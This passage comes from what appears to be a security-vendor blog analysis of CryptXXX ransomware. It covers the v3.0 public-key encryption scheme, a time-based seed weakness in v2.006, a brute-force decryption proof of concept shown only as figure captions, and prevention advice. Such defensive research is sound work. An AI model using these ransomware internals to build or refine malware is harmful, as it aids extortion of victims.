The second is the RC4 related encryption algorithm is no longer used as the primary encryption vector (likely due to having a number of crypto flaws) and the embedded public encryption key that is shipped with the binary and decoded using the same XOR obfuscation, is used instead. This makes decryption of files extremely difficult:
Figure 24.0: CryptXXX 3.0 public key encryption
The resulting ciphertext is then encrypted using the same RC4 related algorithm from v2.006. This may indicate that a solution was ‘hacked together’ for release of a version that could not be decrypted, as this step seems unnecessary.
4.2.0 Breaking Encryption in v2.006
CryptXXX <= v2.006 are publicly known to be broken, and Kaspersky has released a publicly available decryptor for them. Although they have not publicly spoken about their decryption methods, one method of attack against this CryptXXX encryption scheme is their insecure seed generation algorithm. Since it is based on system time, it may be possible to brute force portions of the seed very quickly.
4.2.1 Seed Leak Resulting in Quick Brute-Force
Initially we investigated the possibility of recovering potential seed data based on the write times of the encrypted files, however, CryptXXX will restore the original write/modification times of the affected file. We then noticed that a ransom note is written to a given directory once all targeted file types within said directory have been encrypted. What this provides is leaked seed data, since the modification time stamp of the ransom note should be close to what is returned by get_seed()’s GetSystemTime() call. What we’re left with is a known SYSTEMTIME.wHour, a potentially known SYSTEMTIME.wMinute, and since encryption still takes some time we will have to brute-force the remaining SYSTEMTIME.wSecond (0-59), and SYSTEMTIME.wMillisecond (0-999). Given the worst case scenario for discovering these two values is 60*1000 we are given up to 60,000 operations to perform, given that we have the correct minute from the ransom note.
4.2.2 Decryption PoC
We’ve provided PoC code that will decrypt a given file solely based on the last modified time-stamp of a the dropped ransom note by attempting to decrypt the first four bytes of a file’s magic with a generated key based on the current SYSTEMTIME.wSecond, and SYSTEMTIME.wMillisecond being brute-forced:
Figure 25.0: CryptXXX brute force ms and s PoC
Once the given magic is found (which in turn means that the key has been recovered) then the file is decrypted in its entirety. The following is an example of the PoC’s output:
Figure 26.0: Decryption PoC output example
5.0 AMP ThreatGrid Coverage
As mentioned in our previous blog post, AMP ThreatGrid has a number of generic ransomware indicators used to detect new variants that are being released daily, and targeted behavioral indicators used to detect the ever growing variants of CryptXXX.
Figure 27.0: CryptXXX 3.0 report in AMP ThreatGrid
With the rapid development of ransomware variants that are continuously being released on a weekly basis, AMP ThreatGrid provides an automated platform for identifying, and classifying variants. Intelligence from this platform is continuously fed back into the AMP ecosystem providing protection to Cisco customers.
6.0 The Road Ahead
Unfortunately due to changes made by CryptXXX authors in versions >= 3.0 it is no longer possible to decrypt CryptXXX using these methods. The most effective way of combatting CryptXXX and Ransomware is prevention of infection through a layered approach to security including reliable backup practices. There are also many ways of preventing the initial infection vectors through enabling click-to-play functionality of common plugins that run the risk of becoming outdated or are commonly prone to in-the-wild exploitation through exploit kits such as Angler. Educating users to not open ZIP, javascript, or macro-enabled documents (especially those that request the enabling of such content) can also assist in prevention of Ransomware infections within your organization.
Get the Podcast